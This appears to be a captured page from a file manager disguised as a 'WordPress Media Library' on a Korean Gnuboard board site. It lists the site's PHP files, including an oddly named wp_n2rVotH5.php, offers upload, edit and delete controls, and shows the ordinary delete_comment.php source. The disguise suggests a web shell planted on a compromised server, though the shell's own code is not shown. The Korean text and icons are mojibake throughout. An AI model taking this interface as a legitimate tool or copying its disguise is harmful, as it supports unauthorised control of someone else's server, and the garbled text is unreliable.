โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: delete_comment.php
Size: 3.98 KB | Modified: 2019-12-09 16:42:40
<?php // ์ฝ๋ฉํธ ์ญ์ include_once('./_common.php'); $comment_id = (int) $comment_id; $delete_comment_token = get_session('ss_delete_comment_'.$comment_id.'_token'); set_session('ss_delete_comment_'.$comment_id.'_token', ''); if (!($token && $delete_comment_token == $token)) alert('ํ ํฐ ์๋ฌ๋ก ์ญ์ ๋ถ๊ฐํฉ๋๋ค.'); // 4.1 @include_once($board_skin_path.'/delete_comment.head.skin.php'); $write = sql_fetch(" select * from {$write_table} where wr_id = '{$comment_id}' "); if (!$write['wr_id'] || !$write['wr_is_comment']) alert('๋ฑ๋ก๋ ์ฝ๋ฉํธ๊ฐ ์๊ฑฐ๋ ์ฝ๋ฉํธ ๊ธ์ด ์๋๋๋ค.'); if ($is_admin == 'super') // ์ต๊ณ ๊ด๋ฆฌ์ ํต๊ณผ ; else if ($is_admin == 'group') { // ๊ทธ๋ฃน๊ด๋ฆฌ์ $mb = get_member($write['mb_id']); if ($member['mb_id'] === $group['gr_admin']) { // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ธ๊ฐ? if ($member['mb_level'] >= $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ ; else alert('๊ทธ๋ฃน๊ด๋ฆฌ์์ ๊ถํ๋ณด๋ค ๋์ ํ์์ ์ฝ๋ฉํธ์ด๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); } else alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ์ฝ๋ฉํธ๋ฅผ ์ญ์ ํ ์ ์์ต๋๋ค.'); } else if ($is_admin === 'board') { // ๊ฒ์ํ๊ด๋ฆฌ์์ด๋ฉด $mb = get_member($write['mb_id']); if ($member['mb_id'] === $board['bo_admin']) { // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ธ๊ฐ? if ($member['mb_level'] >= $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ ; else alert('๊ฒ์ํ๊ด๋ฆฌ์์ ๊ถํ๋ณด๋ค ๋์ ํ์์ ์ฝ๋ฉํธ์ด๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); } else alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ์ฝ๋ฉํธ๋ฅผ ์ญ์ ํ ์ ์์ต๋๋ค.'); } else if ($member['mb_id']) { if ($member['mb_id'] !== $write['mb_id']) alert('์์ ์ ๊ธ์ด ์๋๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); } else { if (!check_password($wr_password, $write['wr_password'])) alert('๋น๋ฐ๋ฒํธ๊ฐ ํ๋ฆฝ๋๋ค.'); } $len = strlen($write['wr_comment_reply']); if ($len < 0) $len = 0; $comment_reply = substr($write['wr_comment_reply'], 0, $len); $sql = " select count(*) as cnt from {$write_table} where wr_comment_reply like '{$comment_reply}%' and wr_id <> '{$comment_id}' and wr_parent = '{$write['wr_parent']}' and wr_comment = '{$write['wr_comment']}' and wr_is_comment = 1 "; $row = sql_fetch($sql); if ($row['cnt'] && !$is_admin) alert('์ด ์ฝ๋ฉํธ์ ๊ด๋ จ๋ ๋ต๋ณ์ฝ๋ฉํธ๊ฐ ์กด์ฌํ๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); // ์ฝ๋ฉํธ ํฌ์ธํธ ์ญ์ if (!delete_point($write['mb_id'], $bo_table, $comment_id, '๋๊ธ')) insert_point($write['mb_id'], $board['bo_comment_point'] * (-1), "{$board['bo_subject']} {$write['wr_parent']}-{$comment_id} ๋๊ธ์ญ์ "); // ์ฝ๋ฉํธ ์ญ์ sql_query(" delete from {$write_table} where wr_id = '{$comment_id}' "); // ์ฝ๋ฉํธ๊ฐ ์ญ์ ๋๋ฏ๋ก ํด๋น ๊ฒ์๋ฌผ์ ๋ํ ์ต๊ทผ ์๊ฐ์ ๋ค์ ์ป๋๋ค. $sql = " select max(wr_datetime) as wr_last from {$write_table} where wr_parent = '{$write['wr_parent']}' "; $row = sql_fetch($sql); // ์๊ธ์ ์ฝ๋ฉํธ ์ซ์๋ฅผ ๊ฐ์ sql_query(" update {$write_table} set wr_comment = wr_comment - 1, wr_last = '{$row['wr_last']}' where wr_id = '{$write['wr_parent']}' "); // ์ฝ๋ฉํธ ์ซ์ ๊ฐ์ sql_query(" update {$g5['board_table']} set bo_count_comment = bo_count_comment - 1 where bo_table = '{$bo_table}' "); // ์๊ธ ์ญ์ sql_query(" delete from {$g5['board_new_table']} where bo_table = '{$bo_table}' and wr_id = '{$comment_id}' "); // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once($board_skin_path.'/delete_comment.skin.php'); @include_once($board_skin_path.'/delete_comment.tail.skin.php'); delete_cache_latest($bo_table); run_event('bbs_delete_comment', $comment_id, $board); goto_url(short_url_clean(G5_HTTP_BBS_URL.'/board.php?bo_table='.$bo_table.'&wr_id='.$write['wr_parent'].'&page='.$page. $qstr)); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete